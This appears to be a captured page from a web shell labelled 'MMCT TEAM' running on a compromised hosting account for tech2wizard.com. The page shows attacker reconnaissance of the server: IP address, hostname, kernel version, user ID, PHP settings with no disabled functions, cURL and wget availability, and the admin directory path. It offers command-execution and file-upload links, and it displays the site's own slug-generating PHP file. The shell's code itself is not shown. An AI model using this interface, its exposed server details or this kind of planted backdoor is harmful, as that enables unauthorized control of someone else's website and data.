MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/admin/inc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/admin/inc/get-page-slug.php
<?php
include("conn.php");

if(isset($_POST['title']) && $_POST['title']!=''){
	$title=mysqli_real_escape_string($con,$_POST['title']);
	$slug=strtolower($title);
	$slug=str_replace(" ","-",$slug);
	$slug=str_replace("'","",$slug);
	$slug=str_replace("?","",$slug);
	$slug=str_replace(",","",$slug);
	$slug=str_replace(".","",$slug);

	$res=mysqli_query($con,"select * from services_area where page_slug='$slug'");
	if(mysqli_num_rows($res)>0){
		$res=mysqli_query($con,"select max(id) as id from services_area");
		$row=mysqli_fetch_assoc($res);
		$id=$row['id'];
		$id++;
		$slug=$slug.'-'.$id;
	}
	echo $slug;
}

?>

MMCT - 2023